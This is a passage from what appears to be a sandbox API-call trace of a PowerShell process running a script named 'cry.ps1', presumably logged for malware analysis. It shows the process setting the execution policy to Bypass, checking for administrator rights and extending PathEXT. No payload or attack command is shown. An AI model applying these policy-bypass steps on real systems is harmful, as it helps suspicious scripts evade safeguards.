lpdwProcessId=0x427e5f4) returned 0xa84 [0084.785] GetWindowThreadProcessId (in: hWnd=0x201fc, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x90c [0084.785] GetWindowThreadProcessId (in: hWnd=0x20146, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xae8 [0084.786] GetWindowThreadProcessId (in: hWnd=0x30138, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xacc [0084.786] GetWindowThreadProcessId (in: hWnd=0x20140, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x718 [0084.786] GetWindowThreadProcessId (in: hWnd=0x20134, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x7a0 [0084.787] GetWindowThreadProcessId (in: hWnd=0x4019a, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x1e0 [0084.787] GetWindowThreadProcessId (in: hWnd=0x20196, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x2f0 [0084.787] GetWindowThreadProcessId (in: hWnd=0x4012c, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x1f4 [0084.787] GetWindowThreadProcessId (in: hWnd=0x20102, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xf0 [0084.787] GetWindowThreadProcessId (in: hWnd=0x7002a, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xb84 [0084.787] GetWindowThreadProcessId (in: hWnd=0x301e2, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x54c [0084.787] GetWindowThreadProcessId (in: hWnd=0x101d0, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xb50 [0084.787] GetWindowThreadProcessId (in: hWnd=0x101c6, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xb54 [0084.788] GetWindowThreadProcessId (in: hWnd=0x101ac, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0xb2c [0084.788] GetWindowThreadProcessId (in: hWnd=0x1010e, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x884 [0084.788] GetWindowThreadProcessId (in: hWnd=0x100fa, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x570 [0084.788] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x650 [0084.788] GetWindowThreadProcessId (in: hWnd=0x100e6, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x450 [0084.788] GetWindowThreadProcessId (in: hWnd=0x20088, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x570 [0084.788] GetWindowThreadProcessId (in: hWnd=0x10086, lpdwProcessId=0x427e5f4 | out: lpdwProcessId=0x427e5f4) returned 0x7b4 [0084.789] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x74b94b0, Length=0x20000, ResultLength=0x427e6b4 | out: SystemInformation=0x74b94b0, ResultLength=0x427e6b4*=0x10728) returned 0x0 [0085.065] GetConsoleCP () returned 0x1b5 [0085.109] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x427dca8, nSize=0xfa | out: lpBuffer="\x1141\x73b6\xd3fc\x661\x0e") returned 0x0 [0085.112] CreateFileW (lpFileName="CONOUT$" (normalized: "\\device\\condrv\\currentout"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x234 [0085.115] GetCurrentConsoleFontEx (in: hConsoleOutput=0x234, bMaximumWindow=0, lpConsoleCurrentFontEx=0x427e5f4 | out: lpConsoleCurrentFontEx=0x427e5f4) returned 1 [0085.226] CoCreateGuid (in: pguid=0x427e668 | out: pguid=0x427e668*(Data1=0xa26bd2b5, Data2=0x781a, Data3=0x4d42, Data4=([0]=0xbc, [1]=0x8f, [2]=0x45, [3]=0x7, [4]=0xbc, [5]=0x12, [6]=0xa3, [7]=0xf4))) returned 0x0 [0085.314] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e554 | out: phkResult=0x427e554*=0x0) returned 0x2 [0085.315] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e554 | out: phkResult=0x427e554*=0x0) returned 0x2 [0085.316] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x427e600 | out: lpConsoleScreenBufferInfo=0x427e600) returned 1 [0085.316] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x234, lpConsoleScreenBufferInfo=0x427e600 | out: lpConsoleScreenBufferInfo=0x427e600) returned 1 [0085.318] GetCurrentProcess () returned 0xffffffff [0085.318] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x427e5d0 | out: TokenHandle=0x427e5d0*=0x4b0) returned 1 [0085.321] GetTokenInformation (in: TokenHandle=0x4b0, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x427e5d0 | out: TokenInformation=0x0, ReturnLength=0x427e5d0) returned 0 [0085.322] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x438fe00 [0085.322] GetTokenInformation (in: TokenHandle=0x4b0, TokenInformationClass=0x8, TokenInformation=0x438fe00, TokenInformationLength=0x4, ReturnLength=0x427e5d0 | out: TokenInformation=0x438fe00, ReturnLength=0x427e5d0) returned 1 [0085.322] LocalFree (hMem=0x438fe00) returned 0x0 [0085.322] DuplicateTokenEx (in: hExistingToken=0x4b0, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x427e5d8 | out: phNewToken=0x427e5d8*=0x4b8) returned 1 [0085.323] CheckTokenMembership (in: TokenHandle=0x4b8, SidToCheck=0x661eff0*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x427e5e8 | out: IsMember=0x427e5e8) returned 1 [0085.323] CloseHandle (hObject=0x4b8) returned 1 [0085.480] CoTaskMemAlloc (cb=0x804) returned 0x42f3350 [0085.480] GetConsoleTitleW (in: lpConsoleTitle=0x42f3350, nSize=0x400 | out: lpConsoleTitle="Windows PowerShell") returned 0x12 [0085.480] CoTaskMemFree (pv=0x42f3350) [0085.728] CoTaskMemAlloc (cb=0x804) returned 0x42f3350 [0085.728] GetConsoleTitleW (in: lpConsoleTitle=0x42f3350, nSize=0x400 | out: lpConsoleTitle="Windows PowerShell") returned 0x12 [0085.729] CoTaskMemFree (pv=0x42f3350) [0085.730] SetConsoleTitleW (lpConsoleTitle="Administrator: Windows PowerShell") returned 1 [0085.731] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x427dc68, nSize=0xfa | out: lpBuffer="\x1141\x73b6\x86b8\x662\x18") returned 0x0 [0085.783] SetConsoleCtrlHandler (HandlerRoutine=0x85e286e, Add=1) returned 1 [0085.784] GetStdHandle (nStdHandle=0xfffffff5) returned 0x3c [0085.785] GetFileType (hFile=0x3c) returned 0x2 [0086.040] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x427e0ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0086.040] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", nBufferLength=0x105, lpBuffer=0x427e0d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1", lpFilePart=0x0) returned 0x48 [0086.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x427e534) returned 1 [0086.040] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\cry.ps1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cry.ps1"), fInfoLevelId=0x0, lpFileInformation=0x427e5b0 | out: lpFileInformation=0x427e5b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe0be58b7, ftCreationTime.dwHighDateTime=0x1d4bf18, ftLastAccessTime.dwLowDateTime=0xe0be58b7, ftLastAccessTime.dwHighDateTime=0x1d4bf18, ftLastWriteTime.dwLowDateTime=0xe16f8157, ftLastWriteTime.dwHighDateTime=0x1d4bf18, nFileSizeHigh=0x0, nFileSizeLow=0x277)) returned 1 [0086.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x427e530) returned 1 [0086.044] SetEnvironmentVariableW (lpName="PSExecutionPolicyPreference", lpValue="Bypass") returned 1 [0086.044] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x427de08*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x427de08*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0086.060] CoCreateGuid (in: pguid=0x427e50c | out: pguid=0x427e50c*(Data1=0xc48f214b, Data2=0x164f, Data3=0x4783, Data4=([0]=0xb4, [1]=0x28, [2]=0x0, [3]=0xbc, [4]=0x2a, [5]=0xbd, [6]=0x86, [7]=0x5b))) returned 0x0 [0086.079] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x427e574*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x427e574*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x8, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0086.182] WinSqmIsOptedIn () returned 0x0 [0086.186] CoTaskMemAlloc (cb=0x20c) returned 0x42efdf0 [0086.186] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x42efdf0 | out: pszPath="C:\\Program Files (x86)") returned 0x0 [0086.187] CoTaskMemFree (pv=0x42efdf0) [0086.187] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x105, lpBuffer=0x427d84c, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0086.187] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x427dae4, nSize=0xfa | out: lpBuffer="\x1141\x73b6\xe30\x64e\x0c") returned 0x0 [0086.547] GetCurrentProcessId () returned 0x51c [0086.547] OpenProcess (dwDesiredAccess=0x1000, bInheritHandle=0, dwProcessId=0x51c) returned 0x4bc [0086.547] GetProcessTimes (in: hProcess=0x4bc, lpCreationTime=0x66367a0, lpExitTime=0x66367a8, lpKernelTime=0x66367b0, lpUserTime=0x66367b8 | out: lpCreationTime=0x66367a0, lpExitTime=0x66367a8, lpKernelTime=0x66367b0, lpUserTime=0x66367b8) returned 1 [0086.548] CloseHandle (hObject=0x4bc) returned 1 [0086.549] GetDynamicTimeZoneInformation (in: pTimeZoneInformation=0x427d32c | out: pTimeZoneInformation=0x427d32c) returned 0x2 [0086.582] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\AUS Eastern Standard Time", ulOptions=0x0, samDesired=0x20019, phkResult=0x427d410 | out: phkResult=0x427d410*=0x4bc) returned 0x0 [0086.582] RegQueryValueExW (in: hKey=0x4bc, lpValueName="TZI", lpReserved=0x0, lpType=0x427d42c, lpData=0x0, lpcbData=0x427d428*=0x0 | out: lpType=0x427d42c*=0x3, lpData=0x0, lpcbData=0x427d428*=0x2c) returned 0x0 [0086.582] RegQueryValueExW (in: hKey=0x4bc, lpValueName="TZI", lpReserved=0x0, lpType=0x427d42c, lpData=0x6637114, lpcbData=0x427d428*=0x2c | out: lpType=0x427d42c*=0x3, lpData=0x6637114*, lpcbData=0x427d428*=0x2c) returned 0x0 [0086.582] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Time Zones\\AUS Eastern Standard Time\\Dynamic DST", ulOptions=0x0, samDesired=0x20019, phkResult=0x427d264 | out: phkResult=0x427d264*=0x4c0) returned 0x0 [0086.582] RegQueryValueExW (in: hKey=0x4c0, lpValueName="FirstEntry", lpReserved=0x0, lpType=0x427d280, lpData=0x0, lpcbData=0x427d27c*=0x0 | out: lpType=0x427d280*=0x4, lpData=0x0, lpcbData=0x427d27c*=0x4) returned 0x0 [0086.583] RegQueryValueExW (in: hKey=0x4c0, lpValueName="FirstEntry", lpReserved=0x0, lpType=0x427d280, lpData=0x427d26c, lpcbData=0x427d27c*=0x4 | out: lpType=0x427d280*=0x4, lpData=0x427d26c*=0x7d7, lpcbData=0x427d27c*=0x4) returned 0x0 [0086.583] RegQueryValueExW (in: hKey=0x4c0, lpValueName="LastEntry", lpReserved=0x0, lpType=0x427d280, lpData=0x0, lpcbData=0x427d27c*=0x0 | out: lpType=0x427d280*=0x4, lpData=0x0, lpcbData=0x427d27c*=0x4) returned 0x0 [0086.583] RegQueryValueExW (in: hKey=0x4c0, lpValueName="LastEntry", lpReserved=0x0, lpType=0x427d280, lpData=0x427d26c, lpcbData=0x427d27c*=0x4 | out: lpType=0x427d280*=0x4, lpData=0x427d26c*=0x7d8, lpcbData=0x427d27c*=0x4) returned 0x0 [0086.583] RegQueryValueExW (in: hKey=0x4c0, lpValueName="2007", lpReserved=0x0, lpType=0x427d280, lpData=0x0, lpcbData=0x427d27c*=0x0 | out: lpType=0x427d280*=0x3, lpData=0x0, lpcbData=0x427d27c*=0x2c) returned 0x0 [0086.583] RegQueryValueExW (in: hKey=0x4c0, lpValueName="2007", lpReserved=0x0, lpType=0x427d280, lpData=0x66375a8, lpcbData=0x427d27c*=0x2c | out: lpType=0x427d280*=0x3, lpData=0x66375a8*, lpcbData=0x427d27c*=0x2c) returned 0x0 [0086.583] RegQueryValueExW (in: hKey=0x4c0, lpValueName="2008", lpReserved=0x0, lpType=0x427d280, lpData=0x0, lpcbData=0x427d27c*=0x0 | out: lpType=0x427d280*=0x3, lpData=0x0, lpcbData=0x427d27c*=0x2c) returned 0x0 [0086.583] RegQueryValueExW (in: hKey=0x4c0, lpValueName="2008", lpReserved=0x0, lpType=0x427d280, lpData=0x6637698, lpcbData=0x427d27c*=0x2c | out: lpType=0x427d280*=0x3, lpData=0x6637698*, lpcbData=0x427d27c*=0x2c) returned 0x0 [0086.583] RegCloseKey (hKey=0x4c0) returned 0x0 [0086.586] RegQueryValueExW (in: hKey=0x4bc, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x427d404, lpData=0x0, lpcbData=0x427d400*=0x0 | out: lpType=0x427d404*=0x1, lpData=0x0, lpcbData=0x427d400*=0x20) returned 0x0 [0086.586] RegQueryValueExW (in: hKey=0x4bc, lpValueName="MUI_Display", lpReserved=0x0, lpType=0x427d404, lpData=0x66377e0, lpcbData=0x427d400*=0x20 | out: lpType=0x427d404*=0x1, lpData="@tzres.dll,-670", lpcbData=0x427d400*=0x20) returned 0x0 [0086.586] RegQueryValueExW (in: hKey=0x4bc, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x427d404, lpData=0x0, lpcbData=0x427d400*=0x0 | out: lpType=0x427d404*=0x1, lpData=0x0, lpcbData=0x427d400*=0x20) returned 0x0 [0086.586] RegQueryValueExW (in: hKey=0x4bc, lpValueName="MUI_Std", lpReserved=0x0, lpType=0x427d404, lpData=0x6637838, lpcbData=0x427d400*=0x20 | out: lpType=0x427d404*=0x1, lpData="@tzres.dll,-672", lpcbData=0x427d400*=0x20) returned 0x0 [0086.586] RegQueryValueExW (in: hKey=0x4bc, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x427d404, lpData=0x0, lpcbData=0x427d400*=0x0 | out: lpType=0x427d404*=0x1, lpData=0x0, lpcbData=0x427d400*=0x20) returned 0x0 [0086.586] RegQueryValueExW (in: hKey=0x4bc, lpValueName="MUI_Dlt", lpReserved=0x0, lpType=0x427d404, lpData=0x6637890, lpcbData=0x427d400*=0x20 | out: lpType=0x427d404*=0x1, lpData="@tzres.dll,-671", lpcbData=0x427d400*=0x20) returned 0x0 [0086.587] CoTaskMemAlloc (cb=0x20c) returned 0x42efdf0 [0086.587] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x42efdf0 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0086.587] CoTaskMemFree (pv=0x42efdf0) [0086.588] CoTaskMemAlloc (cb=0x20c) returned 0x42efdf0 [0086.588] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x427d420, pwszFileMUIPath=0x42efdf0, pcchFileMUIPath=0x427d424, pululEnumerator=0x427d418 | out: pwszLanguage=0x0, pcchLanguage=0x427d420, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x427d424, pululEnumerator=0x427d418) returned 1 [0086.590] CoTaskMemFree (pv=0x0) [0086.590] CoTaskMemFree (pv=0x42efdf0) [0086.590] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x88a0001 [0086.591] CoTaskMemAlloc (cb=0x3ec) returned 0x42fde38 [0086.591] LoadStringW (in: hInstance=0x88a0001, uID=0x29e, lpBuffer=0x42fde38, cchBufferMax=500 | out: lpBuffer="(UTC+10:00) Canberra, Melbourne, Sydney") returned 0x27 [0086.591] CoTaskMemFree (pv=0x42fde38) [0086.592] FreeLibrary (hLibModule=0x88a0001) returned 1 [0086.592] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0086.592] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x42c9ac0 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0086.592] CoTaskMemFree (pv=0x42c9ac0) [0086.592] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0086.592] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x427d420, pwszFileMUIPath=0x42c9ac0, pcchFileMUIPath=0x427d424, pululEnumerator=0x427d418 | out: pwszLanguage=0x0, pcchLanguage=0x427d420, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x427d424, pululEnumerator=0x427d418) returned 1 [0086.593] CoTaskMemFree (pv=0x0) [0086.593] CoTaskMemFree (pv=0x42c9ac0) [0086.593] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x88a0001 [0086.594] CoTaskMemAlloc (cb=0x3ec) returned 0x42fde38 [0086.594] LoadStringW (in: hInstance=0x88a0001, uID=0x2a0, lpBuffer=0x42fde38, cchBufferMax=500 | out: lpBuffer="AUS Eastern Standard Time") returned 0x19 [0086.594] CoTaskMemFree (pv=0x42fde38) [0086.595] FreeLibrary (hLibModule=0x88a0001) returned 1 [0086.595] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0086.595] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x42c9ac0 | out: pszPath="C:\\Windows\\system32") returned 0x0 [0086.595] CoTaskMemFree (pv=0x42c9ac0) [0086.595] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0086.595] GetFileMUIPath (in: dwFlags=0x10, pcwszFilePath="C:\\Windows\\system32\\tzres.dll", pwszLanguage=0x0, pcchLanguage=0x427d420, pwszFileMUIPath=0x42c9ac0, pcchFileMUIPath=0x427d424, pululEnumerator=0x427d418 | out: pwszLanguage=0x0, pcchLanguage=0x427d420, pwszFileMUIPath="C:\\Windows\\system32\\en-US\\tzres.dll.mui", pcchFileMUIPath=0x427d424, pululEnumerator=0x427d418) returned 1 [0086.596] CoTaskMemFree (pv=0x0) [0086.596] CoTaskMemFree (pv=0x42c9ac0) [0086.596] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\en-US\\tzres.dll.mui", hFile=0x0, dwFlags=0x2) returned 0x88a0001 [0086.597] CoTaskMemAlloc (cb=0x3ec) returned 0x42fde38 [0086.597] LoadStringW (in: hInstance=0x88a0001, uID=0x29f, lpBuffer=0x42fde38, cchBufferMax=500 | out: lpBuffer="AUS Eastern Daylight Time") returned 0x19 [0086.597] CoTaskMemFree (pv=0x42fde38) [0086.598] FreeLibrary (hLibModule=0x88a0001) returned 1 [0086.598] RegCloseKey (hKey=0x4bc) returned 0x0 [0086.599] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x74b94b0, Length=0x20000, ResultLength=0x427d648 | out: SystemInformation=0x74b94b0, ResultLength=0x427d648*=0x10728) returned 0x0 [0086.618] CreateWellKnownSid (in: WellKnownSidType=0x1a, DomainSid=0x0, pSid=0x6656140, cbSid=0x427d67c | out: pSid=0x6656140*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), cbSid=0x427d67c) returned 1 [0086.667] GetCurrentProcess () returned 0xffffffff [0086.667] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x427d62c | out: TokenHandle=0x427d62c*=0x4bc) returned 1 [0086.667] GetTokenInformation (in: TokenHandle=0x4bc, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x427d62c | out: TokenInformation=0x0, ReturnLength=0x427d62c) returned 0 [0086.667] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x438ffb0 [0086.667] GetTokenInformation (in: TokenHandle=0x4bc, TokenInformationClass=0x8, TokenInformation=0x438ffb0, TokenInformationLength=0x4, ReturnLength=0x427d62c | out: TokenInformation=0x438ffb0, ReturnLength=0x427d62c) returned 1 [0086.668] LocalFree (hMem=0x438ffb0) returned 0x0 [0086.668] DuplicateTokenEx (in: hExistingToken=0x4bc, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x427d634 | out: phNewToken=0x427d634*=0x4c4) returned 1 [0086.668] CheckTokenMembership (in: TokenHandle=0x4c4, SidToCheck=0x66563d8*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x427d644 | out: IsMember=0x427d644) returned 1 [0086.668] CloseHandle (hObject=0x4c4) returned 1 [0086.692] CreateNamedPipeW (lpName="\\\\.\\pipe\\PSHost.131940402684429065.1308.DefaultAppDomain.powershell" (normalized: "\\device\\namedpipe\\pshost.131940402684429065.1308.defaultappdomain.powershell"), dwOpenMode=0x40080003, dwPipeMode=0x6, nMaxInstances=0x1, nOutBufferSize=0x8000, nInBufferSize=0x8000, nDefaultTimeOut=0x0, lpSecurityAttributes=0x427d5e8) returned 0x4c4 [0086.741] GetFileType (hFile=0x4c4) returned 0x3 [0086.797] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0086.797] GetEnvironmentVariableW (in: lpName="PathEXT", lpBuffer=0x42c9ac0, nSize=0x104 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0086.797] CoTaskMemFree (pv=0x42c9ac0) [0086.797] SetEnvironmentVariableW (lpName="PathEXT", lpValue=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 1 [0088.568] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0088.568] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x42c9ac0, nSize=0x104 | out: lpBuffer="\xe110\x42f\x3848\x439\x3b\x2e\x45\x58\x45\x3b\x2e\x42\x41\x54\x3b\x2e\x43\x4d\x44\x3b\x2e\x56\x42\x53\x3b\x2e\x56\x42\x45\x3b\x2e\x4a\x53\x3b\x2e\x4a\x53\x45\x3b\x2e\x57\x53\x46\x3b\x2e\x57\x53\x48\x3b\x2e\x4d\x53\x43") returned 0x0 [0088.568] CoTaskMemFree (pv=0x42c9ac0) [0088.570] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0088.570] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x42c9ac0, nSize=0x104 | out: lpBuffer="\xe110\x42f\x3848\x439\x3b\x2e\x45\x58\x45\x3b\x2e\x42\x41\x54\x3b\x2e\x43\x4d\x44\x3b\x2e\x56\x42\x53\x3b\x2e\x56\x42\x45\x3b\x2e\x4a\x53\x3b\x2e\x4a\x53\x45\x3b\x2e\x57\x53\x46\x3b\x2e\x57\x53\x48\x3b\x2e\x4d\x53\x43") returned 0x0 [0088.570] CoTaskMemFree (pv=0x42c9ac0) [0088.960] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0088.961] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x42c9ac0, nSize=0x104 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x33 [0088.961] CoTaskMemFree (pv=0x42c9ac0) [0088.961] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x427e2d4, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0088.961] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e3b0 | out: phkResult=0x427e3b0*=0x278) returned 0x0 [0088.981] RegQueryValueExW (in: hKey=0x278, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x427e3cc, lpData=0x0, lpcbData=0x427e3c8*=0x0 | out: lpType=0x427e3cc*=0x2, lpData=0x0, lpcbData=0x427e3c8*=0x6c) returned 0x0 [0088.981] RegQueryValueExW (in: hKey=0x278, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x427e3cc, lpData=0x66a0a9c, lpcbData=0x427e3c8*=0x6c | out: lpType=0x427e3cc*=0x2, lpData="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpcbData=0x427e3c8*=0x6c) returned 0x0 [0088.981] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x427e22c, nSize=0x64 | out: lpDst="C:\\Windows") returned 0xb [0088.981] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x427e22c, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0088.981] RegCloseKey (hKey=0x278) returned 0x0 [0088.981] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x427e2d4, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0088.981] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x427e3b0 | out: phkResult=0x427e3b0*=0x278) returned 0x0 [0088.981] RegQueryValueExW (in: hKey=0x278, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x427e3cc, lpData=0x0, lpcbData=0x427e3c8*=0x0 | out: lpType=0x427e3cc*=0x0, lpData=0x0, lpcbData=0x427e3c8*=0x0) returned 0x2 [0088.981] RegCloseKey (hKey=0x278) returned 0x0 [0088.982] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0088.982] SHGetFolderPathW (in: hwnd=0x0, csidl=5, hToken=0x0, dwFlags=0x0, pszPath=0x42c9ac0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\Documents") returned 0x0 [0088.982] CoTaskMemFree (pv=0x42c9ac0) [0088.982] GetFullPathNameW (in: 